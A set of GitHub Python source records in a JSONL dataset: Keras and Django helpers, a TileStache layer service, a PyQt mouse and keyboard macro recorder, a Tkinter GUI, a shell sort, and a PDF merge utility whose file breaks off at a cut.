model.compile(loss=config.loss_compile, \n                  optimizer=optimizers.Adam(learning_rate=config.LR), \n                  metrics=[config.metric_compile])\n\n    path_model_name = choice_model(is_choice_by_input)\n    \n    if os.path.isfile(path_model_name):\n        model.load_weights(path_model_name)\n        print(f'{os.path.basename(path_model_name)} are loaded in model')\n    \n    return model\n\n\n\ndef load_image(img_path, config, show=True):\n\n    \"\"\"\n    Function for creating image tensor to predict by Keras model.\n\n    -------\n    params:\n\n    img_path - path for image \n    config - dict (Dotmap) from configuration file with defined parameters values \n             (creates from config_reader function by reading data_config.json)\n    show - boolean. If True - shows image for 5 seconds, False - don't show.\n    \n    \"\"\"\n\n    config.IMG_SIZE = 448\n    img = image.load_img(img_path, target_size=(config.IMG_SIZE, config.IMG_SIZE))\n    img_tensor = image.img_to_array(img)              # (height, width, channels)\n    img_tensor = np.expand_dims(img_tensor, axis=0)   # (1, height, width, channels), \n                                                      # add a dimension because the model expects this \n                                                      # shape: (batch_size, height, width, channels)\n    img_tensor /= 255.                                # imshow expects values in the range [0, 1]\n\n    if show:\n        plt.imshow(img_tensor[0])                           \n        plt.axis('off')\n        plt.show(block=False)\n        plt.pause(5)\n        plt.close(\"all\")\n\n    return img_tensor\n\n\ndef decode_image(im_b64_str, config):\n    img_bytes = base64.b64decode(im_b64_str.encode('utf-8')) # convert it into bytes\n    \n    # convert bytes data to PIL Image object\n    img = Image.open(io.BytesIO(img_bytes))\n    img = img.resize((config.IMG_SIZE, config.IMG_SIZE), Image.Resampling.LANCZOS)\n\n    # PIL image object to numpy array\n    img = image.img_to_array(img)\n    img_arr = np.expand_dims(img, axis=0)\n    img_arr /= 255.\n    return img_arr","repo_name":"ostrebko/car_clf","sub_path":"utils/functions_with_keras.py","file_name":"functions_with_keras.py","file_ext":"py","file_size_in_byte":10698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24488647976","text":"from datetime import datetime\n\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404\nfrom django.views import View\n\nfrom posts.forms import PostForm\nfrom posts.models import Post\n\n\nclass LatestPostsView(View):\n\n    def get(self, request, username=None):\n        if username is not None:\n            author = get_object_or_404(User, username=username)\n            posts = author.posts.all()\n            # another way without 404 page\n            # posts = Post.objects.filter(author__username=username)\n        else:\n            posts = Post.objects.select_related('author').all()\n\n        context = {'latest_posts': posts.filter(publish_date__lte=datetime.now()).order_by('-publish_date')}\n\n        html = render(request, 'posts/latest.html', context)\n\n        return HttpResponse(html)\n\n\nclass PostDetailView(View):\n    def get(self, request, username, pk):\n        post = get_object_or_404(Post.objects.select_related('author'), pk=pk, publish_date__lte=datetime.now(), author__username=username)\n\n        context = {'post': post}\n\n        html = render(request, 'posts/detail.html', context)\n\n        return HttpResponse(html)\n\n\nclass CreatePostView(LoginRequiredMixin, View):\n    def get(self, request):\n        form = PostForm()\n        context = {'form': form}\n        return render(request, 'posts/new.html', context)\n\n    def post(self, request):\n        post = Post()\n        post.author = request.user\n        form = PostForm(request.POST, instance=post)\n        if form.is_valid():\n            new_post = form.save()\n            messages.success(request, 'Post created successfully with ID {0}'.format(new_post.pk))\n            form = PostForm()\n        context = {'form': form}\n        return render(request, 'posts/new.html', context)\n","repo_name":"Vegekku/mod-python-django","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4241999664","text":"from django_tilestache.models import Layer\r\nfrom django.conf import settings\r\n\r\nPROJECTION_SPHERICAL_MERCATOR = '900913'\r\ndatabase_dict = settings.DATABASES['default']\r\n\r\n\r\ndef add_tilestache_layer(dataset_queue_name):\r\n    return Layer.objects.create(\r\n        **{\r\n            \"name\": dataset_queue_name,\r\n            \"provider\": {\r\n                \"class\": \"TileStache.Goodies.VecTiles:Provider\",\r\n                \"kwargs\": {\r\n                    \"clip\": False,\r\n                    \"dbinfo\": {\r\n                        \"host\": database_dict['HOST'],\r\n                        \"port\": database_dict['PORT'],\r\n                        \"database\": database_dict['NAME'],\r\n                        \"user\": database_dict['USER'],\r\n                        \"password\": database_dict['PASSWORD']\r\n                    },\r\n                    \"queries\": [\r\n                        \"SELECT ST_Transform(geom, {spmerc}) AS __geometry__, * FROM {dataset_queue_name}\".format(dataset_queue_name=dataset_queue_name, spmerc=PROJECTION_SPHERICAL_MERCATOR)\r\n                    ]\r\n                }\r\n            }\r\n        }\r\n    )","repo_name":"rcordova-navagis/gema_poc","sub_path":"apps/geocore-uut/backend/layers/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72320505471","text":"import sys\nfrom time import sleep\n\nimport pandas as pd\n\nfrom pynput import mouse, keyboard\n\nfrom PyQt5.QtWidgets import (QApplication, QWidget, QPushButton,\n                             QDesktopWidget, QGridLayout, QLabel,\n                             QSpinBox, QFileDialog,\n                             QTableWidget, QTableWidgetItem)\nfrom PyQt5.QtGui import QColor\nfrom PyQt5.QtCore import Qt\n\nclass App(QWidget):\n    def __init__(self, df=None):\n        super().__init__()\n        self.title = 'Clicker'\n        self.width = 800\n        self.height = 600\n\n        if df is None:\n            self.keyEvents = pd.DataFrame(columns=['Type', 'Button', 'Coordinates', 'WaitTime'])\n        else:\n            self.keyEvents = df\n\n        self.runTimes = 1\n        self.skipFirst = 0\n\n        self.mouseWait = 300\n        self.keyWait = 200\n\n        self.mListener = mouse.Listener(on_click=self.on_click)\n        self.kListener = keyboard.Listener(on_press=self.on_press, on_release=self.on_release)\n\n        self.initUI()\n\n    def initUI(self):\n        grid = QGridLayout()\n        grid.setRowStretch(12,1)\n        grid.setColumnStretch(4,1)\n        self.setLayout(grid)\n\n        self.recordButton = QPushButton('Start recording')\n        grid.addWidget(self.recordButton, 0, 0)\n        self.recordButton.clicked.connect(self.start_record)\n        self.recordLabel = QLabel('')\n        grid.addWidget(self.recordLabel, 0, 1)\n\n        self.stopButton = QPushButton('Stop/pause\\nrecording')\n        grid.addWidget(self.stopButton, 1, 0)\n        self.stopButton.clicked.connect(self.stop_record)\n\n        self.playButton = QPushButton('Run')\n        grid.addWidget(self.playButton, 2, 0)\n        self.playButton.clicked.connect(self.play)\n\n        self.playBox = QSpinBox()\n        grid.addWidget(self.playBox, 3, 1)\n        self.playBox.setMinimum(1)\n        self.playBox.setMaximum(1313)\n        self.playBox.setValue(self.runTimes)\n        self.playBox.valueChanged.connect(self.runTimes_update)\n        grid.addWidget(QLabel('Run the commands .. times'), 3, 0)\n\n        grid.addWidget(QLabel('Do not include the first ..\\n'\n                              'commands when running\\n'\n                              'multiple times'), 4, 0)\n        self.skipBox = QSpinBox()\n        grid.addWidget(self.skipBox, 4, 1)\n        self.skipBox.setMinimum(0)\n        self.skipBox.setMaximum(0)\n        self.skipBox.setValue(self.skipFirst)\n        self.skipBox.valueChanged.connect(self.skipFirst_update)\n\n        grid.addWidget(QLabel('Default wait-time for\\nmouseclicks'), 5, 0)\n        grid.addWidget(QLabel('ms'), 5, 2)\n        self.mouseBox = QSpinBox()\n        grid.addWidget(self.mouseBox, 5, 1)\n        self.mouseBox.setMinimum(0)\n        self.mouseBox.setMaximum(100000)\n        self.mouseBox.setSingleStep(50)\n        self.mouseBox.setValue(self.mouseWait)\n        self.mouseBox.valueChanged.connect(self.mouseWait_update)\n\n        grid.addWidget(QLabel('Default wait-time for\\nkeyboard inputs'), 6, 0)\n        grid.addWidget(QLabel('ms'), 6, 2)\n        self.keyBox = QSpinBox()\n        grid.addWidget(self.keyBox, 6, 1)\n        self.keyBox.setMinimum(0)\n        self.keyBox.setMaximum(100000)\n        self.keyBox.setSingleStep(50)\n        self.keyBox.setValue(self.keyWait)\n        self.keyBox.valueChanged.connect(self.keyWait_update)\n\n\n        self.emptyButton = QPushButton('Delete all data')\n        grid.addWidget(self.emptyButton, 8, 0)\n        self.emptyButton.clicked.connect(self.empty_events)\n\n        self.emptyButton2 = QPushButton('Delete row:')\n        self.emptyButton2.setToolTip('Deletes this row number when pressed')\n        grid.addWidget(self.emptyButton2, 9, 0)\n        self.emptyButton2.clicked.connect(self.del_row)\n        self.delBox = QSpinBox()\n        grid.addWidget(self.delBox, 9, 1)\n        self.delBox.setMinimum(1)\n\n        self.saveButton = QPushButton('Save')\n        grid.addWidget(self.saveButton, 11, 0)\n        self.saveButton.clicked.connect(self.file_save)\n\n        self.loadButton = QPushButton('Load')\n        grid.addWidget(self.loadButton, 12, 0)\n        self.loadButton.clicked.connect(self.file_load)\n\n        self.table = QTableWidget(1, len(self.keyEvents.columns))\n        self.table.setHorizontalHeaderLabels(self.keyEvents.columns)\n        self.table.itemSelectionChanged.connect(self.change_table)\n        grid.addWidget(self.table, 0, 4, 12, 1)\n        self.update_table()\n        grid.addWidget(QLabel('Select another cell after changing a wait-time '\n                              'otherwise it will not be registered!'), 12, 4)\n\n        self.setWindowTitle(self.title)\n        self.resize(self.width, self.height)\n        self.center()\n        self.show()\n\n\n    def keyWait_update(self):\n        oldV = self.keyWait\n        self.keyWait = self.keyBox.value()\n        for i, row in self.keyEvents.iterrows():\n            if (not type(row.Coordinates) is tuple and \n                row.WaitTime == oldV/1000 and\n                row.Type == 'Press'):\n                self.keyEvents.loc[i, 'WaitTime'] = self.keyWait/1000\n        self.update_table()\n\n\n    def mouseWait_update(self):\n        oldV = self.mouseWait\n        self.mouseWait = self.mouseBox.value()\n        for i, row in self.keyEvents.iterrows():\n            if (type(row.Coordinates) is tuple and \n                row.WaitTime == oldV/1000 and\n                row.Type == 'Press'):\n                self.keyEvents.loc[i, 'WaitTime'] = self.mouseWait/1000\n        self.update_table()\n\n\n    def file_save(self):\n        options = QFileDialog.Options()\n        options |= QFileDialog.DontUseNativeDialog\n        fileName, _ = QFileDialog.getSaveFileName(self,\"QFileDialog.getSaveFileName()\",\"\",\"All Files (*);;CSV Files (*.csv)\", options=options)\n        if fileName:\n            self.keyEvents.to_csv(fileName if fileName.endswith('.csv') else\n                                  fileName+'.csv', index=False)\n\n\n    def file_load(self):\n        options = QFileDialog.Options()\n        options |= QFileDialog.DontUseNativeDialog\n        files, _ = QFileDialog.getOpenFileNames(self,\"QFileDialog.getOpenFileNames()\", \"\",\"All Files (*);;CSV Files (*.csv)\", options=options)\n        if len(files) == 1 and files[0].endswith('.csv'):\n            self.keyEvents = pd.read_csv(files[0])\n            self.update_table()\n\n\n    def change_table(self):\n        for i, row in self.keyEvents.iterrows():\n            self.keyEvents.loc[i, 'WaitTime'] = float(self.table.item(i, 3).text())\n\n\n    def center(self):\n        qr = self.frameGeometry()\n        cp = QDesktopWidget().availableGeometry().center()\n        qr.moveCenter(cp)\n        self.move(qr.topLeft())\n\n\n    def start_record(self):\n        self.recordLabel.setText('<font color=\"red\"><b>Rec.</b></font>')\n        self.mListener.start()\n        self.kListener.start()\n\n\n    def stop_record(self):\n        if self.mListener.running or self.kListener.running:\n            self.recordLabel.setText('')\n            self.mListener.stop()\n            self.kListener.stop()\n\n            self.mListener = mouse.Listener(on_click=self.on_click)\n            self.kListener = keyboard.Listener(on_press=self.on_press, on_release=self.on_release)\n\n            self.keyEvents = self.keyEvents.iloc[:-2]\n        self.update_table()\n\n\n    def runTimes_update(self):\n        self.runTimes = self.playBox.value()\n\n\n    def skipFirst_update(self):\n        self.skipFirst = self.skipBox.value()\n        self.update_table()\n\n\n    def play(self):\n        if len(self.keyEvents) == 0:\n            print('There are no logged clicks/keypresses!')\n            self.runLabel.setText('')\n            return\n\n        if self.mListener.running or self.kListener.running:\n            self.stop_record()\n\n        kController = keyboard.Controller()\n        mController = mouse.Controller()\n\n        for run in range(self.runTimes): \n            rows = self.keyEvents[self.skipFirst:]\n            if run == 0:\n                rows = self.keyEvents\n            for i, row in rows.iterrows():\n                sleep(row.WaitTime)\n                if type(row.Coordinates) is tuple:\n                    mController.position = row.Coordinates\n                    if row.Type == 'Press':\n                        mController.press(row.Button)\n                    elif row.Type == 'Release':\n                        mController.release(row.Button)\n                else:\n                    if row.Type == 'Press':\n                        kController.press(row.Button)\n                    elif row.Type == 'Release':\n                        kController.release(row.Button)\n\n\n    def empty_events(self):\n        if self.mListener.running or self.kListener.running:\n            self.stop_record()\n        self.keyEvents = self.keyEvents.iloc[0:0]\n        self.update_table()\n\n\n    def del_row(self):\n        self.keyEvents = self.keyEvents.drop(self.delBox.value()-1)\n        self.keyEvents = self.keyEvents.reset_index(drop=True)\n        self.update_table()\n\n\n    def on_click(self, x, y, button, pressed):\n        self.keyEvents = self.keyEvents.append(\n                {'Type': 'Press' if pressed else 'Release',\n                 'Coordinates': (x, y),\n                 'Button': button,\n                 'WaitTime': self.mouseWait/1000 if pressed else 0\n                 }, ignore_index=True)\n\n    \n    def on_press(self, key):\n        self.keyEvents = self.keyEvents.append(\n                {'Type': 'Press',\n                 'Button': key,\n                 'WaitTime': self.keyWait/1000\n                 }, ignore_index=True)\n\n\n    def on_release(self, key):\n        self.keyEvents = self.keyEvents.append(\n                {'Type': 'Release',\n                 'Button': key,\n                 'WaitTime': 0\n                 }, ignore_index=True)\n\n\n    def update_table(self):\n        self.skipBox.setMaximum(max(0, len(self.keyEvents)-1))\n        self.delBox.setMaximum(max(1, len(self.keyEvents)))\n\n        self.table.setRowCount(len(self.keyEvents))\n        for i, row in self.keyEvents.iterrows():\n            for j, data in enumerate(row):\n                item = QTableWidgetItem(str(data))\n                if j != 3:\n                    item.setFlags(Qt.ItemIsEnabled)\n\n                color = QColor(255,255,255)\n                if i < self.skipFirst:\n                    color = QColor(255,0,0)\n\n                item.setBackground(color)\n                self.table.setItem(i, j, item)\n\n\n    def closeEvent(self, event):\n        self.stop_record()\n        event.accept()\n\n\n\nif __name__ == '__main__':\n    if not QApplication.instance():\n        app = QApplication(sys.argv)\n    else:\n        app = QApplication.instance()\n\n    ex = App()\n    app.exec_()","repo_name":"niekvdbos/Clicker","sub_path":"clicker.py","file_name":"clicker.py","file_ext":"py","file_size_in_byte":10677,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
+{"seq_id":"27679224609","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import scrolledtext, Menu\n\n\nfrom baby_names import baby_names_parser\n\n# ----------------------------\n# GUI Setup\n# ---------------------------\nwindow = tk.Tk()\n\nwindow.title('Baby Names')\nwindow.resizable(True,True)\n\n\n\n# ------------------------------\n# Callbacks\n# ----------------------------\n\ndef press_me_action():\n    # click_action.configure(text='You clicked me!')\n    # welcome_label.configure(foreground='Blue')\n    # click_action.configure(text='Now this is blue')\n    welcome_label.configure(text=f'Looking up for ...{baby_name.get()}')\n\ndef gracefully_exit():\n    window.quit()\n    window.destroy()\n    exit()\n\nmain_cont = ttk.LabelFrame(window, text=\"Options\")\nmain_cont.grid(column=0, row=0, padx=20, pady=20)\n\n\n# ----------------------------\n# Widgets\n# ----------------------------\n\nwelcome_label = ttk.Label(main_cont, text=\"Welcome to the Baby Names extractor\")\nwelcome_label.grid(column=0, row=0)\n\nclick_action = ttk.Button(main_cont, text=\"Press Me!!\", command=press_me_action)\nclick_action.grid(column=0, row=2)\n\nbaby_name = tk.StringVar()\ntext_box_name = ttk.Entry(main_cont, width=20, textvariable=baby_name)\ntext_box_name.grid(column=0, row=1)\n\nchoose_file_label = ttk.Label(main_cont, text=\"Choose a file to extract baby data\")\nchoose_file_label.grid(column=2, row= 0)\n# file_chosen_cb = ttk.Combobox(main_cont, width = 15, textvariable=file_s)\n\nfile_chosen = tk. StringVar()\nfile_chosen_cb = ttk.Combobox(main_cont, width=15, textvariable = file_chosen, state='readonly')\nfile_chosen_cb['values'] = ('baby1990.html','baby1991.html')\nfile_chosen_cb.grid(column= 0, row = 3)\nfile_chosen_cb.current(1)\n\n# Check Boxes\n\nrank = tk.IntVar()\nmale = tk.IntVar()\nfemale = tk.IntVar()\n\nrank_checkbox = ttk.Checkbutton(main_cont, text=\"Rank\", variable=rank)\nmale_checkbox = ttk.Checkbutton(main_cont, text=\"Male\", variable=male)\nfemale_checkbox = ttk.Checkbutton(main_cont, text=\"Female\", variable=female)\nrank_checkbox.grid(column=0, row=4, sticky=tk.W)\nmale_checkbox.grid(column=1, row=4, sticky=tk.W)\nfemale_checkbox.grid(column=2, row=4, sticky=tk.W)\n\n# Radio Button\n\ndata_order = tk.IntVar()\ndesc_radio = tk.Radiobutton(main_cont, text='Descending', variable=data_order, value=1)\nasc_radio = tk.Radiobutton(main_cont, text='Ascending', variable=data_order, value=2)\n\ndesc_radio.grid(column=0, row=5)\nasc_radio.grid(column=1, row=5)\n\nscrollable_text = scrolledtext.ScrolledText(main_cont, width=40, height=3, wrap=tk.WORD)\nscrollable_text.grid(column=0, columnspan=3, row=6)\n\nscrollable_text.insert(tk.INSERT, \"hiiiiiiiiiiii\\n\\n\\n\\niiiiiiiiii!!!!\", )\nscrollable_text.configure(state=\"disabled\")\n\nbtn_frame = ttk.LabelFrame(main_cont, text=\"This is a label\")\nbtn_frame.grid(column=0,  row=7)\n\nttk.Label(btn_frame, text=\"Hello!\").grid(column=0, row=0, sticky=tk.W)\nttk.Label(btn_frame, text='Hiiii!').grid(column=0, row=1, sticky=tk.W)\nttk.Label(btn_frame, text='Howdy!').grid(column=0, row=2, sticky=tk.W)\n\nfor child in btn_frame.winfo_children():\n    child.grid_configure(padx=4, pady=2)\n\n# -------------------\n# MENU BAR\n# -------------------\n\nmenu_bar = Menu(window)\nwindow.config(menu=menu_bar)\n\nfile_menu = Menu(menu_bar, tearoff=0)\nfile_menu.add_command(label=\"New\")\nfile_menu.add_command(label=\"Exit\", command=gracefully_exit)\nmenu_bar.add_cascade(label=\"File\", menu=file_menu)\n\nhelp_menu = Menu(menu_bar, tearoff=0)\nhelp_menu.add_command(label=\"About\")\nmenu_bar.add_cascade(label=\"Help\", menu=help_menu)\n\n# -------------------\n# UX Modifiers\n# -------------------\ntext_box_name.focus()\n\n\n# ---------------------------\n# START UI\n# ---------------------------\n\nwindow.mainloop()","repo_name":"ar5000/baby_names","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":3660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70306576510","text":"def shellSort(array, n):\n\n    interval = n // 2\n    while interval > 0:\n        for i in range(interval, n):\n            temp = array[i]\n            j = i\n            while j >= interval and array[j - interval] > temp:\n                array[j] = array[j - interval]\n                j -= interval\n\n            array[j] = temp\n        interval //= 2\n\n\ndata = [9, 8, 3, 7, 5, 6, 4, 1]\nsize = len(data)\nshellSort(data, size)\nprint('Ο ταξινομημένος πίνακας με αύξουσα σειρά είναι:')\nprint(data)","repo_name":"Greekforce1821/Ionian-University-Second-Semester-2021-2022","sub_path":"Data Structures/First Exercise/Second Deliverable/Shellsort/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"75274536830","text":"#!/usr/bin/python3\n\"\"\"Adds all CLI args to a PY list and save em to a file\"\"\"\nimport sys\n\nif __name__ == \"__main__\":\n    save = __import__('5-save_to_json_file').save_to_json_file\n    load = __import__('6-load_from_json_file').load_from_json_file\n\n    try:\n        items = load(\"add_item.json\")\n    except FileNotFoundError:\n        items = []\n    items.extend(sys.argv[1:])\n    save(items, \"add_item.json\")\n","repo_name":"AdebayoEmmanuel/alx-higher_level_programming","sub_path":"0x0B-python-input_output/7-add_item.py","file_name":"7-add_item.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17746851620","text":"# -*- encoding: utf-8 -*-\nimport sys\nimport uuid\nimport getopt\nimport pdfkit\nfrom os import walk,remove\nfrom os.path import join,isfile,exists,splitext\nfrom PyPDF2 import PdfFileReader,PdfFileWriter,PdfFileMerger\nfrom win32com.client import Dispatch\n\nwdFormatPDF = 17\nfile_list   = [] \n\npdf_maker = r'D:\\Program Files\\wkhtmltopdf\\bin\\wkhtmltopdf.exe' #安装位置\n\n\ndef printUsage():\n\thelp_info = '''\nSomething went wrong, check for valid command line parameters:\n\nUSEAGE: \npython ./ezp.py [-h | -i <src_folder> | -m | -b]\n\nWhere:\n-h\t\t\t   : Show help information.\n-m\t\t\t   : Merge all converted pdf files into one single file.\n\n-b\t\t\t   : Adjust for both-sides print, files of odd-numbered \n\t\t\t\t   pages will be added one blank page in the end.\n\t\t\t\t   Usually used with \"-m\" option.\n\n-i <src_folder>  : Specify the <src_folder> which contains the files \n\t\t\t\t   to be coverted to pdf.\n\nExamples: \n\t   -i C:/Desktop/test -m\n\t   -i C:/Desktop/test -m -b\n\t   -i C:/Desktop/test/sample.doc \n\nNo command line parameters will run in interactive mode.\n\t\t\t\t'''\n\tprint(help_info)\n \n\n#pip instatll win32com\ndef doc_to_pdf(doc_path,pdf_path):\n\t\"\"\"\n\t:word文件转pdf\n\t:param doc_path word文件路径\n\t:param pdf_path 转换后pdf文件路径\n\t\"\"\"\n\tword = Dispatch('Word.Application')\n\tdoc = word.Documents.Open(doc_path)\n\t#doc_name.replace(\".doc\", \".pdf\")\n\tdoc.SaveAs(pdf_path, FileFormat=wdFormatPDF)\n\tdoc.Close()\n\tword.Quit()\n\tprint(\"Done!\")\n\n\ndef add_blank_page(pdf_file):\n\t#创建pdf文件读写对象\n\tpdfFileReader = PdfFileReader(pdf_file) \n\tpdfFileWriter = PdfFileWriter()\n\t#获取页数和页面尺寸\n\tnumPages = pdfFileReader.getNumPages()\n\tpageObj = pdfFileReader.getPage(0)\n\tpage_width = pageObj.mediaBox.upperRight[0]\n\tpage_height  = pageObj.mediaBox.upperRight[1]\n\t#将现有页面拷贝到pdf生成器中\n\tfor index in range(0, numPages):\n\t\tpageObj = pdfFileReader.getPage(index)\n\t\tpdfFileWriter.addPage(pageObj)  # 根据每页返回的 PageObject,写入到文件\t\n\t#创建并向文档中添加空白页\n\tpage = pageObj.createBlankPage(pdf_file,page_width,page_height)\n\tpdfFileWriter.insertPage(page,index=numPages)\n\t#另外两种添加空白页的方法\n\t#pdfFileWriter.addBlankPage()\n\t#pdfFileWriter.insertBlankPage(page_width,page_height,index=numPages)\n\tpdfFileWriter.write(open(pdf_file,'wb'))\n\ndef add_offset_page(pdf_file,offset_page):\n\t#创建pdf文件读写对象\n\toffset        = PdfFileReader(offset_page).getPage(0)\n\tpdfFileReader = PdfFileReader(pdf_file) \n\tpdfFileWriter = PdfFileWriter()\n\t#获取当前pdf页数\n\tnumPages = pdfFileReader.getNumPages()\n\t#将现有页面拷贝到pdf生成器中\n\tfor index in range(0, numPages):\n\t\tpageObj = pdfFileReader.getPage(index)\n\t\tpdfFileWriter.addPage(pageObj)  # 根据每页返回的 PageObject,写入到文件\t\n\t\n\tpdfFileWriter.insertPage(offset,index=numPages)\n\tpdfFileWriter.write(open(pdf_file,'wb'))\n\ndef merge_pdf_file(src_folder,both_sides=False,offset_file=None):\n\t\"\"\"\n\t:合并pdf文件\n\t:param src_folder   含有pdf文件的文件夹\n\t:param both_sides   若为True，则针对双面打印进行调整，\n\t:\t\t\t\t    奇数页的pdf文件末尾自动加一页调整页\n\t:param offset_file  若both_sides为True，则此项必选，\n\t:\t\t\t\t    该参数指向调整页文件的路径\n\t\"\"\"\n\tfile_list = []\n\tpdfMaker = PdfFileMerger()\n\t#遍历文件夹找出所有pdf文件\n\tfor root,dirs,files in walk(src_folder):\n\t\tfor f in files:\n\t\t\tif(f.endswith(\".pdf\")):\n\t\t\t\tfile_list.append(join(root,f)) \n\t\t\telse:\n\t\t\t\tpass #忽略非pdf文件\n\toutput_file = join(src_folder,\"Bind.pdf\")\n\tif exists(output_file):\n\t\tprint(\"A file named \\\"Bind.pdf\\\" already in %s\\n\"%src_folder)\n\t\twhile(1):\n\t\t\toption = input(\"Would you want to DELETE it and continue? (y/n)\\n\")\n\t\t\tif(option.lower()=='y'):\n\t\t\t\tremove(output_file)\n\t\t\t\tmerge_pdf_file(src_folder,both_sides)\n\t\t\t\tbreak\n\t\t\tif(option.lower()=='n'):\n\t\t\t\tprint(\"Program Terminated!\\nRemove or rename the Bind.pdf file then continue.\")\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Key in y(Y) or n(N) only!\\n\")\n\t\treturn\n\t#将所有pdf文件合并并写入文件\n\t#print(file_list)\n\tif(both_sides):\n\t\tfor file in file_list:\n\t\t\tif(file == offset_file):\n\t\t\t\tprint(\"pass\")\n\t\t\t\tcontinue\n\t\t\t#创建pdf文件读写对象\n\t\t\tpdfFileReader = PdfFileReader(file) \n\t\t\t#获取页数和页面尺寸\n\t\t\tnumPages = pdfFileReader.getNumPages()\n\t\t\tif(numPages%2):\n\t\t\t\tadd_offset_page(file,offset_file)\n\t\t\tpdf = pdfMaker.append(open(file,\"rb\"))\n\telse:\n\t\tfor file in file_list:\n\t\t\tpdf = pdfMaker.append(open(file,\"rb\"))\n\tpdf = open(output_file,\"wb\")\n\tpdfMaker.write(pdf)\n\tprint(\"All pdf files have been combined and saved in:\\n%s\"%output_file)\n\ndef create_offset_page(output_file,pdf_maker):\n\t\"\"\"\n\tCreate pdf files from plain text or HTML text.\n\toutput_file : File path to the offset pdf file for both-side printout\n\tpdf_maker   : Path to wkhtmltopdf.exe\n\t\"\"\"\n\tif (not exists(pdf_maker)):\n\t\tprint(\"Invalid path to wkhtmltopdf.exe, please check\")\n\t\treturn\n\tprint(\"Creating pages for both-sides printout adjustment ...\")\n\tconfig   = pdfkit.configuration(wkhtmltopdf = pdf_maker)\n\tcontents = \"\"\".\"\"\"\n\toptions  = {\n\t\t\t\t'page-size':'A4',\n\t\t\t\t'margin-top':'0.001',\n\t\t\t\t'margin-left':'0.001',\n\t\t\t\t'encoding':\"UTF-8\",\n\t\t\t\t}\n\tpdfkit.from_string(contents,output_file, configuration=config, options=options) \n\n\ndef check_path(path):\n\tif isfile(path):\n\t\tprint(\"1 File found.\\n\")\n\t\tcheck = \"file\"\n\telif exists(path):\n\t\tprint(\"1 Folder found.\\n\")\n\t\tcheck = \"folder\"\n\telse:\n\t\tprint(\"No such file or directory found, please check!\\n\")\n\t\tcheck = False\n\treturn check\n\ndef get_options():\n\toptions = {\"src_folder\":None,\"src_type\":None,\"merge\":None,\"both_sides\":None}\n\tcollected_opt = []\n\t#print(sys.argv,len(sys.argv[1:]))\n\tif(len(sys.argv[1:])):\n\t\ttry:\n\t\t\topts, args = getopt.getopt(sys.argv[1:],\"hi:mb\")\n\t\texcept getopt.GetoptError:\n\t\t\tprintUsage()\n\t\t\tsys.exit(-1)\n\t\tfor opt, arg in opts: collected_opt.append(opt)\n\n\t\tif(\"-i\" in collected_opt):\n\t\t\toptions[\"src_folder\"] = opts[collected_opt.index(\"-i\")][1]\n\t\t\tresult = check_path(options[\"src_folder\"])\n\t\t\tif (result==False):\n\t\t\t\tsys.exit(-1)\n\t\t\telse:\n\t\t\t\toptions[\"src_type\"] = result\n\t\telse:\n\t\t\toptions[\"src_folder\"] = None\n\n\t\tif(options[\"src_type\"]==\"file\"):return\n\n\t\tif(\"-m\" in collected_opt):\n\t\t\toptions[\"merge\"] = 'y'\n\t\telse:\n\t\t\toptions[\"merge\"] = 'n'\n\n\t\tif(\"-b\" in collected_opt):\n\t\t\toptions[\"both_sides\"] = 'y'\n\t\telse:\n\t\t\toptions[\"both_sides\"] = 'n'\n\telse:\n\t\twhile (1):\n\t\t\tif(not options[\"src_folder\"]):\n\t\t\t\toptions[\"src_folder\"] = input(\"Specify source file or directory:\\n\")\n\t\t\t\toptions[\"src_type\"] = check_path(options[\"src_folder\"])\n\t\t\tif(check_path(options[\"src_folder\"])):\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\toptions[\"src_folder\"] = input(\"Specify source file or directory:\\n\")\n\t\t\t\toptions[\"src_type\"] = check_path(options[\"src_folder\"])\n\t\tif(options[\"src_type\"]==\"file\"):return\n\n\t\twhile (1):\n\t\t\tif(not options[\"merge\"]):\n\t\t\t\toption = input(\"Merge all pdf files in a singel file? (y/n)   \")\n\t\t\t\t#错误示例：以下判断会造成逻辑表达式短路，无法输入n选项\n\t\t\t\t#if(option.lower()!='y' or option.lower()!='n'): \n\t\t\t\tif(option.lower()=='y'):\n\t\t\t\t\toptions[\"merge\"] = option\n\t\t\t\t\tbreak\n\t\t\t\tif(option.lower()=='n'):\n\t\t\t\t\toptions[\"merge\"] = option\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Key in y(Y) or n(N) only!\")\n\t\t\telse:\n\t\t\t\tbreak\n\n\t\twhile (1):\n\t\t\tif(not options[\"both_sides\"]):\n\t\t\t\toption = input(\"Optimize for both-sides print out? (y/n)   \")\n\t\t\t\tif(option.lower()=='y'):\n\t\t\t\t\toptions[\"both_sides\"] = option\n\t\t\t\t\tbreak\n\t\t\t\tif(option.lower()=='n'):\n\t\t\t\t\toptions[\"both_sides\"] = option\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Key in y(Y) or n(N) only!\\n\")\n\t\t\telse:\n\t\t\t\tbreak\n\treturn options\n\nif __name__=='__main__':\n\toptions = get_options()\n\t#遍历并过滤文件夹中的Word或Excel文件\n\t\n\tif (options[\"both_sides\"]):\n\t\t pass\n\tif (options[\"src_type\"] == \"file\"):\n\t\tfile_name = 